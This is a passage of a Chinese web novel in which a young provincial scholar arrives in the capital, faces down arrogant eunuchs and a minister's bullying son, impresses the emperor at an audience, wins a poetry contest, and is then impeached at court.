外城居住着平民百姓和各地商贾,内城则是达官显贵、宗室王公的府邸所在,最核心的皇城,自然是皇帝居所和中央官署所在。
“少爷,前面就是通州码头了!我们快到了!”阿贵兴奋地指着前方喊道。
通州是京杭大运河的终点,也是进入天京的最后一道门户。
客船缓缓靠向通州码头。码头上人声鼎沸,车水马龙,比清江浦还要热闹数倍。
扛包的力夫、叫卖的小贩、巡查的兵丁、等候接人的各府仆役……构成了一幅生动的京城浮世绘。
齐枫带着阿福阿贵下了船,立刻感受到了一种不同于江南的氛围。
这里的人似乎更加匆忙,眼神中也多了几分审视和精明。
空气中弥漫着一种无形的压力,那是权力中心特有的气息。
“让开!让开!都闪开!”
就在这时,一阵粗暴的呵斥声传来。
只见一队穿着宫中太监服饰的人,簇拥着一辆华丽的马车,蛮横地推开码头上的人群,试图清出一条道路。
态度嚣张,丝毫不将周围的人放在眼里。
一个躲避不及的挑夫被推倒在地,担子里的货物撒了一地,却敢怒不敢言。
“是内务府的人!”
“快闪开,别惹麻烦!”
周围的人群纷纷避让,显然对这些人颇为忌惮。
那队太监径直朝着齐枫这边走来,为首一个面白无须、眼神阴鸷的中年太监,用尖细的嗓音喝道:“前面的人,耳朵聋了吗?没看见咱家的车驾?赶紧滚开!”
阿福和阿贵有些紧张地看向齐枫。
齐枫眉头微皱,他不想刚来京城就惹事,便准备侧身让开。
可那中年太监见齐枫衣着青衫,又带着两个小厮,像是外地来的土财主,非但没有收敛,反而更加嚣张,指着齐枫骂。
“哪来的乡下土鳖,挡了咱家的路,还想就这么走了?惊了车驾,你担待得起吗?跪下磕三个头,咱家就饶了你!”
他身后的几个小太监也跟着起哄,污言秽语不绝于耳。
周围的人都用同情的目光看着齐枫,得罪了内务府的太监,尤其是这种明显是出来办油水差事的太监,麻烦可就大了。
阿福气得脸色通红,想要理论,被齐枫用眼神制止。
齐枫看着那气焰嚣张的中年太监,忽然笑了,只是那笑容很冷。
第三百五十六章 好大的威风!
齐枫冷笑着问。
“内务府的公公,好大的威风。不知公公在哪一司任职?尊姓大名?”
那中年太监见齐枫非但不惧,反而问起他的来历,愣了一下,随即恼羞成怒:“咱家的名讳,也是你这等贱民能问的?看来不给你点教训,你是不知道天高地厚!来人,给我掌嘴!”
两个小太监应声上前,就要动手。
齐枫眼神一寒,正欲出手教训一下这几个不知天高地厚的阉奴,一个温和带着威严的声音忽然响起:
“住手!”
众人循声望去,只见一位穿着六品官服、面容儒雅的中年官员,在一名随从的陪同下走了过来。
那中年太监看到来人,脸色微变,嚣张气焰顿时收敛了几分,挤出一丝笑容:“哟,原来是礼部祠祭清吏司的杨主事,什么风把您给吹来了?”
那杨主事没有理会太监的谄媚,目光落在齐枫身上,打量了一下,眼中闪过一丝讶异,随即拱手道:“这位公子,可是江南府城,今科解元齐枫齐公子?”
齐枫有些意外,没想到在这通州码头,竟然有人认得自己。
他拱手还礼:“正是在下。不知大人是?”
“本官杨文渊,忝为礼部祠祭清吏司主事。”杨主事态度颇为客气,“奉部堂大人之命,特来迎接齐解元入京。部堂大人已知齐解元近日将抵京,命下官在此等候,没想到刚来就遇到这等事,让齐解元受惊了。”
此言一出,周围顿时一片哗然!
礼部主事亲自来码头迎接?部堂大人,礼部尚书都知道他的名字?这个穿着普通的年轻人,到底是什么来头?!
那中年太监更是吓得脸色煞白,冷汗直流!
他万万没想到,这个看似土包子的年轻人,竟然是礼部都要派人迎接的新科解元!
而且看样子,还很受部堂大人重视!自己刚才竟然让他跪下磕头……
“原来是杨主事,有劳了。”齐枫神色不变,仿佛刚才的冲突从未发生,但他那平静的目光扫过那中年太监时,却让对方不由自主地打了个寒颤。
“齐解元客气了,这是下官分内之事。”杨文渊笑了笑,然后转向那中年太监,脸色沉了下来,“张公公,你好大的胆子!齐解元乃是陛下特召入京的俊杰,你也敢肆意侮辱?此事,本官定要禀明部堂大人,向内务府讨个说法!”
那张公公吓得魂不附体,连忙躬身作揖:“杨主事恕罪!齐解元恕罪!是咱家有眼无珠,冲撞了贵人!咱家该死!咱家该死!”
他一边说,一边狠狠地抽了自己两个嘴巴子,下手极重,脸颊顿时红肿起来。
齐枫懒得跟这种小人计较,摆了摆手:“罢了,一场误会。”
张公公如蒙大赦,连连道谢,带着手下灰溜溜地跑了,再也不敢停留。
杨文渊这才对齐枫道:“齐解元,车马已经备好,请随下官入城吧。部堂大人已在衙署等候,想见一见您这位名动江南的才子。”
“有劳杨主事引路。”齐枫点了点头。
在周围人群敬畏和好奇的目光注视下,齐枫随着杨文渊,登上了礼部准备的马车,向着那座雄伟的帝都驶去。
京城的大门,已然为他打开。
礼部的马车装饰朴素,却颇为宽敞舒适,行驶在通往天京内城的青石板官道上,十分平稳。
杨文渊陪坐在侧,态度谦和,与齐枫随意交谈着,介绍着京城的风物和官场的规矩。
“齐解元初来京城,想必对诸多事务尚不熟悉。”杨文渊道,“京城不比地方,规矩多,忌讳也多。尤其是这内城,王公贵族、各部衙署林立,行走坐卧皆需留意。稍有不慎,便可能惹来麻烦。”
齐枫静静听着,点头称是。
他知道杨文渊这是好意提点。
“尤其是如今朝局……”杨文渊压低了声音,欲言又止,最终只是含糊道,“颇为微妙。齐解元得陛下特召,是莫大荣幸,但也容易成为众矢之的。还需谨言慎行,明哲保身。”
齐枫明白他话中的深意。
北境战事未平,朝中各方势力博弈正酣,他一个毫无根基的新科解元突然被特召入京,必然会引起各方关注和猜忌。
“多谢杨主事提点,齐某省得。”齐枫淡然道。
说话间,马车已驶入内城。
内城的街道更加宽阔整洁,两旁府邸林立,高墙深院,气象森严。
往来行人衣着光鲜,多乘轿骑马,少见普通百姓。空气中弥漫着一种肃穆而压抑的气氛。
马车最终在礼部衙署门前停下。
礼部衙署位于皇城东南侧,建筑宏伟大气,门前有兵丁守卫,透着中央官署的威严。
杨文渊引着齐枫进入衙署,穿过几重院落,来到一处名为“清风堂”的偏厅。
“齐解元请在此稍候,下官这就去禀报部堂大人。”杨文渊安排齐枫坐下,奉上茶水,便转身离去。
齐枫独自坐在厅中,打量着四周。
厅内陈设古朴雅致,墙上挂着几幅字画,皆是名家手笔,显示出礼部的清贵之气。
没过多久,门外传来脚步声,一位身着二品孔雀补子官服、面容清癯、目光深邃的老者在杨文渊的陪同下走了进来。
此人正是当朝礼部尚书,文渊阁大学士,李光地。
李光地是三朝元老,学问渊博,为人刚正,在朝中威望极高。
齐枫起身,躬身行礼:“学生齐枫,拜见部堂大人。”
李光地目光如电,在齐枫身上扫过,似乎要将他从里到外看透。
他并未立刻让齐枫起身,而是缓缓走到主位坐下,这才开口道:“免礼,坐吧。”
“谢大人。”齐枫依言坐下,神色平静,不卑不亢。
李光地端起茶杯,轻轻拨弄着浮沫,看似随意地问道:“齐枫,你可知陛下为何特召你入京?”
齐枫沉吟片刻,答道:“学生不知。想必是陛下垂怜,给学生一个觐见天颜、报效朝廷的机会。”
“机会?”李光地放下茶杯,目光锐利地盯着齐枫。
第三百五十七章 惜才
“确实是机会,但也是考验。如今朝野上下,不知多少双眼睛在盯着你。你以新科解元之身,得此殊荣,是福是祸,犹未可知。”
他顿了顿,语气变得严肃:“老夫看过你的试卷,也听闻过你在江南的所作所为。才学是有的,胆识也不缺。但你要记住,这里是京城,是讲规矩、论资历的地方。年少成名,更需懂得藏锋敛锷,谦逊待人。若恃才傲物,锋芒太露,恐非福也。”
这话既是告诫,也是提醒。
齐枫能感觉到,这位李尚书对自己并无恶意,甚至有些惜才之意。
“学生谨记大人教诲。”齐枫恭声应道。
李光地点了点头,语气缓和了些:“你的住处,礼部已经安排好了,就在内城澄清坊的一处小院,虽然不大,但胜在清静。一应手续,杨主事会帮你办理。三日后,陛下将在文华殿召见此次特召的几位士子,你好生准备,莫要失仪。”
“是,多谢大人安排。”
又询问了几句齐枫的学业和旅途情况,李光地便端茶送客了。
齐枫在杨文渊的陪同下,离开了礼部衙署,前往澄清坊的住处。
坐在前往住处的马车上,齐枫回想着方才与李光地的会面。
这位礼部尚书老成持重,话语中既有告诫,也隐含着一丝期许。
看来,自己这“陛下特召”的身份,在京城确实引起了不小的波澜。
不过,他齐枫何曾惧过挑战?
既然已经踏入了这京城之地,那么,就按照自己的方式,来会一会这天下的风云人物吧!
他的嘴角,勾起一抹不易察觉的弧度。
澄清坊的小院果然如李光地所说,不大,但干净整洁,一应家具俱全,还有一名老苍头负责看门和打扫。
对于初入京城的齐枫来说,这条件已经相当不错了。
安顿下来后,齐枫让阿福阿贵整理行李,自己则站在院中,望着京城那被高墙分割的天空。
澄清坊的小院虽然不大,但胜在位置清静,离皇城也不远。
齐枫安顿下来后,并未四处走动,而是闭门不出,静心准备三日后的文华殿觐见。
这次觐见至关重要,将决定他在皇帝和朝臣心中的第一印象。
期间,杨文渊又来了一次,送来了觐见的礼仪规范和注意事项,并透露此次一同被特召的,除了齐枫,还有另外两人。
一人是北地大儒孔希文的关门弟子,名叫孟文辉,以经义文章著称,另一人则是出身将门、却以诗文闻名的忠勇伯世子,赵元启。
这两人在京城早已有些名声,背景也远比齐枫深厚。
齐枫听后,只是淡淡一笑,并未放在心上。
三日时间转瞬即逝。
这天清晨,天还未亮,齐枫便起身沐浴更衣,换上了一身崭新的青色举人服,在礼部派来的官员引导下,前往皇城。
皇城禁卫森严,经过层层查验,齐枫才得以进入。
文华殿位于皇城东部,是皇帝日常召见臣工、举行经筵讲学的地方,规格仅次于举行大朝会的金銮殿。
来到文华殿外,只见殿宇恢宏,飞檐斗拱,汉白玉的台阶洁净无尘,透着一股庄严肃穆的气息。
殿外已有不少官员等候,见到齐枫这个生面孔,都投来好奇和审视的目光。
很快,另外两位特召士子也到了。
孟文辉约莫三十岁年纪,面容古板,穿着一身洗得发白的儒衫,眼神中带着读书人特有的清高和执拗。
赵元启则年轻些,二十出头,剑眉星目,身形挺拔,虽穿着文士服,却难掩一股军旅之气,他看向齐枫的目光带着一丝不易察觉的审视和挑衅?
三人互相见礼,寒暄几句,便在太监的唱喏声中,低头躬身,步入文华殿。
殿内光线明亮,檀香袅袅。
景帝端坐在御座之上,身穿明黄色常服,面容清癯,眼神锐利,虽未穿龙袍,但久居帝位的威仪自然流露。
御座下方,分列着几位内阁大臣和礼部、翰林院的官员,李光地赫然在列。
“学生齐枫,孟文辉、赵元启,叩见陛下,吾皇万岁万岁万万岁!”三人依礼参拜。
“平身。”景帝的声音平和,却带着不容置疑的威严。
三人谢恩起身,垂手恭立。
景帝目光在三人身上扫过,最后在齐枫身上停留了片刻,才缓缓开口:“尔等三人,皆乃今科俊杰,或擅经义,或通诗文,或有安邦定国之才。”
他这话说得意味深长,尤其提到“安邦定国之才”时,目光似乎又瞥了齐枫一眼。
“朕特召尔等入京,是望尔等能学以致用,为国效力。今日召见,一是见见尔等风采,二来,也想听听尔等对时局的见解。”
他顿了顿,看向孟文辉:“孟文辉,你师从孔大家,精研经义。朕问你,如今北境不宁,烽烟再起,依圣人之道,当如何应对?”
孟文辉显然早有准备,上前一步,躬身答道:“回陛下,学生以为,圣人之道,在于仁政德治。北境之乱,根源在于教化未行,蛮夷未服。当广施仁政,怀柔远人,兴办教化,使其沐浴王化,自然归心。轻启战端,徒耗国力,非圣王之道也。”
他引经据典,侃侃而谈,将一套“仁义感化”的理论说得头头是道,听得几位老成持重的大臣微微颔首。
景帝不置可否,目光转向赵元启:“赵元启,你出身将门,又通诗文,你以为呢?”
赵元启英气勃勃,朗声道:“陛下,学生以为,孟兄所言虽有道理,但过于迂阔!北漠蛮夷,畏威而不怀德!霍天都等前朝余孽,更是包藏祸心!对付此等豺狼,唯有以雷霆手段,坚决镇压,彰显天朝国威!当派遣精兵强将,速战速决,收复失地,以儆效尤!”
他语气铿锵,带着军人子弟特有的果决,与孟文辉的迂阔形成了鲜明对比。
景帝依旧未表态,最后将目光落在了齐枫身上:“齐枫,你来自江南,听闻你不仅文采斐然,于实务一道亦有独到之处。对此事,你有何看法?”
第三百五十八章 觐见
一时间,所有人的目光都聚焦在齐枫身上。
孟文辉和赵元启也看向他,一个眼神带着不屑,一个带着审视。
齐枫深吸一口气,上前一步,并未直接回答,而是反问道:“敢问陛下,可知北境三城,为何一夜易主?”
此言一出,殿内顿时一静!所有人都没想到,齐枫竟敢在御前反问皇帝!
李光地微微蹙眉,几位大臣也面露讶异。
景帝眼中却闪过一丝兴趣,淡淡道:“哦?你且说说看。”
齐枫从容道:“学生以为,北境之失,非战之罪,乃吏治之弊!霍天都能轻易夺城,皆因城中守备松懈,内应遍布!此乃当地官吏玩忽职守、甚至可能与之勾结所致!若吏治清明,守将尽责,纵有十万大军,亦难撼动雄关!”
他声音清朗,掷地有声:“故,学生以为,应对北境之策,首在整顿吏治,清除内患!当派遣得力干员,彻查北境各级官吏,严惩渎职贪腐之辈,提拔忠勇贤能之士!同时,对霍天都部,亦不可一味强攻。”
“当剿抚并用,分化瓦解。对其麾下被迫从贼者,可晓以大义,许以生路,对冥顽不灵之核心,则坚决打击,绝不姑息!此外,还需谨防北漠趁火打劫,边军戒备不可松懈。”
他这一番论述,既指出了问题的深层根源吏治,又提出了具体的、可操作的策略,整顿吏治、剿抚并用、防备北漠,格局宏大,思路清晰,远比孟文辉的空谈和赵元启的莽撞要深刻和务实得多!
殿内一片寂静!
几位内阁大臣互相交换着眼神,都看到了对方眼中的震惊和欣赏。
李光地抚须的手也停了下来,眼中精光闪烁。
孟文辉脸色难看,赵元启则皱起了眉头,似乎没想到齐枫能说出这样一番见解。
景帝沉默了片刻,看着齐枫,缓缓道:“依你之见,何人可担此整顿北境吏治之重任?”
齐枫坦然道:“此乃陛下与阁臣之决断,学生不敢妄言。唯才与德,是举贤之标准。需派一位刚正不阿、不畏权贵、且熟悉边务的能臣前往,方能扭转乾坤。”
他没有具体推荐人选,显得十分谨慎,但又点明了用人标准。
景帝深深地看了齐枫一眼,目光中带着一丝难以言喻的意味。
他没有再追问,转而问起了齐枫在江南的一些事迹,尤其是破解幽冥教阴谋、安定地方的事情。
齐枫一一作答,言辞得体,既不过分自夸,也不刻意谦逊,将事情经过描述得清晰明了,凸显其临危不乱、智勇双全的特质。
觐见持续了近一个时辰才结束。
当齐枫三人退出文华殿时,孟文辉脸色阴沉,赵元启眼神复杂,而齐枫则依旧神色平静。
他知道,自己在皇帝和重臣面前,算是初步留下了深刻的印象。这第一步,走得很稳。
可他同时也感觉到,这京城的水,比他想象的还要深。
仅仅是这一次觐见,他就隐约察觉到了朝中不同派系之间那无声的较量。
文华殿觐见之后,齐枫算是正式在京城士林和官场中亮相。
他那番关于北境局势的见解,尤其是直指吏治弊端的言论,很快就在小范围内流传开来,引起了不小的反响。
有人赞赏其见识不凡,也有人斥其年少轻狂,哗众取宠。
按照惯例,被特召的士子,一般会被安排在翰林院担任庶吉士,学习政务,观政历练。
齐枫、孟文辉、赵元启三人也不例外,被授予了翰林院庶吉士的职衔,虽然只是七品小官,但地位清贵,是晋升的捷径。
这日,齐枫第一次前往翰林院报到。
翰林院位于皇城内,环境清幽,古木参天,充满了书香气息。
院内多是饱学鸿儒和青年才俊,是大景王朝最高学术和文书机构。
负责接待他的是翰林院侍读学士,一位姓王的老学士。
王学士态度不冷不热,按流程给齐枫办理了入职手续,分配了值房,并交代了一些院规。
“齐庶吉士,翰林院乃清贵之地,讲究的是学问功底和规矩体统。你初来乍到,需多看多学,谨言慎行,莫要惹是生非。”王学士语气平淡,但话语中带着一丝不易察觉的疏离和告诫。
齐枫知道,自己这个“空降兵”,又带着些“不安分”的名声,恐怕不太受这些传统翰林官的待见。
他不动声色,拱手道:“下官明白,多谢大人提点。”
来到分配的值房,房间不大,但桌椅书架俱全,窗外可见庭院景致,倒也雅致。
同屋的还有另一位庶吉士,名叫孙绍祖,是上一科的进士,看起来颇为老成持重。
孙绍祖对齐枫倒是颇为客气,帮他熟悉了一下环境,介绍了翰林院的日常和一些需要注意的人物。
“齐兄初来,可能有所不知。”孙绍祖低声道,“咱们翰林院,看似清静,实则也分派系。有注重经义的‘理学派’,有推崇诗文的‘词章派’,还有讲究实务的‘经济派’关系错综复杂。孟庶吉士孟文辉据说与几位理学派的老学士走得很近。”
“赵庶吉士赵元启则与一些勋贵子弟和武将世家出身的翰林交往甚密。齐兄你还需小心应对。”
齐枫谢过他的好意提醒。
自己恐怕哪一派都算不上,注定要独树一帜了。
果然,没过几天,麻烦就找上门了。
这日午后,齐枫正在值房内翻阅一些前朝的档案文书,试图了解更多关于朝堂格局和北境历史的信息。
忽然,孟文辉带着几个同样穿着翰林官服的年轻人走了进来,神色倨傲。
“齐庶吉士,好雅兴啊。”孟文辉皮笑肉不笑地说道,“听闻齐庶吉士在江南时,便以诗词闻名,那首《水调歌头》更是传唱一时。今日我等几人偶得闲暇,想以文会友,向齐庶吉士讨教一二,不知可否赏光?”
他身后几人也都面带戏谑地看着齐枫,显然来者不善。
第三百五十九章 粉身碎骨浑不怕
这几人都是理学派的年轻翰林,素来看不起齐枫这种"幸进"之人,更对他那套"离经叛道"的言论不满,今日是故意来找茬的。
同屋的孙绍祖见状,连忙起身打圆场:"孟兄,诸位同僚,齐兄初来乍到,还有许多文书需要熟悉,不如改日"
"孙兄此言差矣。"孟文辉打断他,"正是因齐庶吉士初来,才更应多与同僚交流,增进情谊嘛。莫非齐庶吉士看不起我等,不屑赐教?"
这话已是带着挤兑之意。
值房外,也有一些其他翰林被吸引,围拢过来看热闹。
齐枫放下手中的卷宗,抬起头,目光平静地扫过孟文辉等人,淡淡道:"孟庶吉士想如何讨教?"
见齐枫应战,孟文辉眼中闪过一丝得色,道:"简单!我等各作一首咏物诗,题材不限,一炷香为限。然后请院中诸位同僚品评高下,如何?"
他自恃经义功底深厚,诗文也不弱,想借此机会打压齐枫的气焰。
"可以。"齐枫点了点头。
立刻有人点起一炷香。
孟文辉等人立刻凝神思索,或踱步,或低吟,显得十分投入。
齐枫却依旧坐在桌前,甚至重新拿起了刚才看的卷宗,似乎并未将比试放在心上。
围观的人都觉得奇怪,以为他放弃了。
香燃过半,孟文辉似乎已成竹在胸,脸上露出自信的笑容。
他瞥了一眼依旧在看卷宗的齐枫,心中冷笑:装模作样,待会儿看你如何收场!
就在香即将燃尽的那一刻,齐枫终于放下了卷宗,拿起笔,铺开纸张,几乎是不假思索地挥毫泼墨,一气呵成!
时间到!
孟文辉等人也各自完成了诗作。
"诸位,请品评吧!"孟文辉自信地将自己的诗作展示出来,是一首咏《松柏》的诗,格律工整,用典恰当,旨在歌颂松柏坚贞不屈的品格,倒也符合理学派的审美。
其他几人的诗作也相继展示,水平参差不齐,但都中规中矩。
最后,所有人的目光都落在了齐枫那张纸上。
只见纸上墨迹淋漓,写的是一首咏《石灰》的诗:
"千锤万凿出深山,烈火焚烧若等闲。
粉骨碎身浑不怕,要留清白在人间!"
诗作一出,满堂皆静!
这诗语言质朴,却蕴含着一种撼人心魄的力量!
将石灰的开采、烧制过程,与一种不畏艰难、坚守清白、勇于牺牲的崇高精神完美地结合在一起!
尤其是最后两句"粉骨碎身浑不怕,要留清白在人间",如同金石之音,振聋发聩!
与孟文辉那首追求格律、用典的《咏松》相比,齐枫这首《石灰吟》在境界和气魄上,简直高了不止一个层次!
孰高孰低,一目了然!
孟文辉脸上的自信笑容彻底僵住,脸色一阵青一阵白,他身后的几人也是面面相觑,哑口无言。
围观的翰林们则纷纷露出惊叹之色。
"好诗!好气魄!"
"粉骨碎身浑不怕,要留清白在人间,此等胸襟,令人敬佩!"
"齐庶吉士大才!"
孙绍祖也抚掌赞叹:"齐兄此诗,托物言志,立意高远,非寻常咏物诗可比!佩服!佩服!"
孟文辉等人再也无颜停留,在众人异样的目光注视下,灰溜溜地挤出了值房。
经此一事,齐枫在翰林院算是立住了脚跟。
那些原本对他抱有偏见或轻视的人,也不得不重新审视这个来自江南的年轻解元。
齐枫再次用他无可挑剔的才华,完成了一次漂亮的装逼打脸。
在这京城,唯有展现出足够的实力,才能赢得尊重,才能站稳脚跟。
藏拙虽好,可惜,也有不好。
翰林院的风波过后,齐枫算是初步在京城士林中小有名气。
京城这潭水极深,仅凭文名还远远不够。
他做事高调,但是做人,依旧保持着低调,每日按时到翰林院点卯,查阅档案,熟悉朝务,闲暇时便在澄清坊的小院中读书练武,静观其变。
可麻烦总是不请自来。
这日休沐,齐枫难得清闲,便带着阿福到内城较为繁华的"棋盘街"逛逛,想买几本市面上不易见到的杂书。
棋盘街商铺林立,多有售卖书籍、文玩、古董的店铺,是文人雅士常聚之所。
齐枫在一家名为"文渊阁"的书铺里淘到了两本前朝野史笔记,正欲离开,却听到隔壁一家酒楼里传来阵阵喧哗和女子的哭泣声。
他本不想多管闲事,但那女子的哭声凄切,夹杂着男子粗鲁的呵斥和淫笑,让他微微蹙眉。
"走,去看看。"齐枫对阿福说了一声,便走向那家名为"醉仙楼"的酒楼。
刚走到门口,就看到一楼大堂里,几个衣着华丽的纨绔子弟,正围着一个卖唱的女子和一位拉着二胡的老者。
那女子约莫十六七岁年纪,容貌清秀,此刻梨花带雨,满脸惊恐。老者则不停地作揖求饶。
为首一个穿着紫色锦袍、面色浮华的年轻公子,正用扇子挑着那女子的下巴,淫笑道:"小娘子,哭什么?跟了本少爷,保你吃香喝辣,穿金戴银,不比在这卖唱强?"
"刘公子,求求您,放过小女吧!"老者苦苦哀求。
"滚开!老东西!"旁边一个豪奴一脚将老者踹倒在地。
那刘公子更是得寸进尺,伸手就去搂抱那卖唱女子。
"住手!"
齐枫看不下去,出声喝止。
他实在搞不懂,为什么哪哪都是这种狗血剧情,还都让自己碰上了。
坐视不理,肯定是做不到的。
那刘公子动作一顿,不满地转过头,看到齐枫衣着普通,又是生面孔,顿时恼火道:"哪里来的不开眼的东西,也敢管本少爷的闲事?识相的就赶紧滚!"
齐枫目光扫过倒在地上的老者和瑟瑟发抖的女子,冷声道:"光天化日,强抢民女,还有王法吗?"
"王法?"刘公子仿佛听到了天大的笑话,指着自己的鼻子,"在这内城,我们刘家就是王法!我爹是当朝户部侍郎刘墉!你算个什么东西,也配跟本少爷讲王法?"
第三百六十章 我爹是……
原来是户部侍郎的儿子,难怪如此嚣张。
周围看热闹的人一听是刘侍郎的公子,更是噤若寒蝉,无人敢出声。
"户部侍郎的儿子,就可以目无王法,欺凌弱小?"齐枫语气依旧平静,但眼神已经冷了下来。
"是又怎么样?"刘公子跋扈惯了,根本没把齐枫放在眼里,对豪奴挥手道,"给我打!打断他的腿,扔出去!"
几个如狼似虎的豪奴立刻朝齐枫扑了过来。
阿福吓得脸色发白,但还是挡在齐枫身前:"你们,你们别乱来!"
齐枫将阿福拉到身后,面对冲来的豪奴,甚至没有移动脚步,只是随意地一拂袖。
一股柔和却磅礴的气劲涌出,那几个豪奴如同撞上了一堵无形的气墙,纷纷惊呼着倒飞出去,撞翻了几张桌椅,摔在地上哼哼唧唧,爬不起来。
这一幕发生在电光火石之间,所有人都看傻了!
那刘公子脸上的嚣张笑容瞬间凝固,眼中闪过一丝惊骇。
这个看似文弱的年轻人,竟然是个高手!
"你,你到底是什么人?"刘公子声音有些发颤。
齐枫懒得跟他废话,上前一步,目光如刀:"向她道歉,赔偿损失,然后滚。"
"你让我道歉?"刘公子仿佛受到了莫大的侮辱,色厉内荏地吼道,"你知道我是谁吗?我爹是..."
"啪!"
他话还没说完,齐枫已经一巴掌扇了过去!
清脆的耳光声响彻酒楼!
刘公子被打得一个趔趄,半边脸颊瞬间红肿起来,他捂着脸,难以置信地看着齐枫:"你...你敢打我?!"
"打你又如何?"齐枫语气冰冷,"子不教,父之过。你爹教不好你,我不介意替他管教管教。"
"你...你找死!"刘公子气得浑身发抖,对着门外喊道,"刘安!刘安!死哪里去了!"
随着他的喊声,一个身材精悍、太阳穴高鼓、眼神锐利的中年汉子快步从门外走了进来。
此人显然是刘公子的贴身护卫,实力远非刚才那些豪奴可比。
"少爷!"那名叫刘安的护卫看到场中情形,脸色一沉,目光锁定齐枫,"阁下何人?为何伤我家少爷?"
"你家少爷光天化日强抢民女,我不过是路见不平而已。"齐枫淡然道。
刘安眼神一凝,他能感觉到齐枫气息深沉,绝非寻常之辈。
但职责所在,他必须出手。"得罪了!"
话音未落,刘安身形一动,如同猎豹般扑向齐枫,一记凌厉的手刀直劈齐枫脖颈!速度快得惊人,带起一股劲风!
行家一出手,就知有没有。
这刘安赫然是一位接近先天境界的好手!
周围响起一片惊呼!都以为齐枫要吃亏了!
齐枫依旧站在原地,不闪不避,直到那手刀即将及体,他才看似随意地抬起右手,伸出食指和中指,如同拈花一般,精准无比地夹住了刘安那势大力沉的手腕!
"什么?!"刘安脸色剧变!他只觉得自己那足以开碑裂石的手刀,仿佛被两座铁钳死死夹住,任凭他如何催动内力,竟无法撼动分毫!
齐枫手指微微用力。
"咔嚓!"一声轻微的骨裂声。
"啊!"刘安发出一声痛苦的闷哼,手腕剧痛,整条手臂瞬间酸软无力!他惊骇地看着齐枫,如同看着一个怪物!
齐枫松开手指,轻轻一推。
刘安踉跄着倒退七八步,撞在柱子上才勉强站稳,捂着手腕,脸色惨白,再也不敢上前。
他知道,对方已经是手下留情了,否则刚才那一下,就能废了他的手!
看到连刘安都被对方轻描淡写地击败,刘公子彻底吓傻了,脸色惨白如纸,再无之前的嚣张气焰。
齐枫目光冷冷地看向他:"道歉,赔偿,滚。别让我说第三遍。"
刘公子吓得浑身一哆嗦,再也不敢犹豫,连忙对着那卖唱女子和老者躬身作揖:"对...对不起!是在下无礼!在下赔罪!"
他又慌忙从怀里掏出一张银票,塞到老者手里,"这...这是赔偿!"
说完,他再也不敢看齐枫,带着一群狼狈不堪的手下,连滚爬爬地逃出了醉仙楼,那刘安也深深地看了齐枫一眼,跟着离去。
酒楼内一片寂静,所有人都用敬畏的目光看着齐枫。
那卖唱女子和老者连忙上前跪谢:"多谢恩公救命之恩!"
"举手之劳,不必多礼。"齐枫虚扶一下,看了看惊魂未定的两人,又从袖中取出一锭银子递给老者,"此地不宜久留,你们快些离开京城吧。"
打发走那对祖孙,齐枫在众人复杂的目光中,带着阿福淡然离去。
打了户部侍郎的儿子,这事绝不会就这么算了。
但他不在乎。在这京城,一味忍让只会让人以为你好欺负。
有时候,展现出足够的实力和强硬的态度,反而能省去很多麻烦。
果然,没过多久,"江南解元齐枫在醉仙楼拳打户部侍郎公子"的消息,就如同长了翅膀一般,在京城某些圈子里传开了。
有人拍手称快,觉得齐枫替天行道,教训了那个仗势欺人的纨绔,也有人暗自心惊,觉得齐枫太过狂妄,刚来京城就敢得罪实权侍郎,简直是自寻死路。
更有不少人抱着看热闹的心态,想看看这位风头正劲的江南解元,如何应对户部侍郎的怒火。
果然,没过两天,麻烦就找上门了。
这日正值朔望大朝会,文武百官齐聚金銮殿。
齐枫作为翰林院庶吉士,品级虽低,但也有资格列席朝会末班,算是观摩学习。
朝会伊始,各部院依次奏事,气氛还算正常。
可当轮到户部奏报今年漕粮入库情况时,户部侍郎刘墉出列,先是照本宣科地汇报了数字,然后话锋突然一转,手持玉笏,面向御座,声音带着一丝沉痛:
"陛下,臣有本奏!"
景帝端坐龙椅,淡淡道:"讲。"
"臣要弹劾翰林院庶吉士齐枫!"刘墉声音陡然提高,带着愤慨。
第三百六十一章 弹劾
"齐枫身为朝廷命官,不思报效皇恩,反而恃才傲物,目无法纪!前日于闹市酒楼,公然行凶,殴打臣之幼子,致其重伤!此举不仅藐视王法,更是对朝廷体统的公然践踏!如此狂悖之徒,岂能留在清贵翰林?臣恳请陛下,严惩齐枫,以正视听!"
此言一出,满朝哗然!
虽然不少人已经听说了醉仙楼的事情,但谁都没想到,刘墉竟然会选择在朝会之上,当着皇帝和文武百官的面,直接弹劾!
这可是撕破脸皮的举动,说明刘墉是铁了心要扳倒齐枫!
无数道目光瞬间聚焦在站在百官末班的齐枫身上。
有同情,有担忧,有好奇,更有幸灾乐祸。
孟文辉站在不远处,嘴角勾起一抹不易察觉的冷笑。
赵元启则微微皱眉,似乎觉得刘墉此举有些过了。
龙椅上的景帝,面色平静,看不出喜怒,他目光扫向齐枫:"齐枫,刘爱卿所奏,可是实情?"
齐枫出列,躬身行礼,神色坦然:"回陛下,刘侍郎所言,部分属实。"
部分属实?众人一愣。
齐枫继续道:"前日,臣确在醉仙楼,与刘侍郎公子发生冲突。但事出有因。刘公子光天化日之下,强抢民女,欺凌弱小,臣路见不平,出手制止。至于重伤之说..."
他顿了顿,语气带着一丝嘲讽,"臣出手自有分寸,刘公子不过是脸颊微肿,绝无重伤。若刘侍郎不信,可当场验伤。"
"你!"刘墉气得脸色铁青,"强词夺理!就算我儿有错,也自有官府法度处置!你身为朝廷命官,岂能动用私刑?此风一开,人人效仿,朝廷法度何在?!"
"刘侍郎此言差矣。"齐枫不卑不亢,反驳道,"当时情形危急,若非臣及时出手,那卖唱女子恐已遭毒手。难道要等惨剧发生,再去讲所谓的官府法度吗?”
“圣人云,见义不为,无勇也。臣以为,维护正义,保护弱小,正是我辈读书人应尽之责!若因顾忌自身官位,而对不平之事视而不见,那才真是愧对圣贤教诲,愧对陛下隆恩!"
他这一番话,引经据典,正气凛然,将个人行为拔高到了"见义勇为"、"维护正义"的高度,瞬间占据了道德制高点!
不少清流御史和年轻官员听得暗暗点头,觉得齐枫说得在理。
刘墉被驳得一时语塞,但他毕竟宦海沉浮多年,立刻抓住另一个把柄:"巧言令色!就算你出手情有可原,但你下手如此狠辣,连我府中护卫都不是你一合之敌!齐枫,你这一身武功从何而来?一个读书人,为何要修炼如此高深的武功?莫非...另有所图?!"
这话就极其阴险了,直接将矛头引向了齐枫的身份和动机!
在这个重文轻武的朝代,一个文人拥有高强武功,确实容易引人猜忌。
殿内气氛顿时变得更加微妙。
齐枫心中冷笑,知道刘墉这是图穷匕见了。
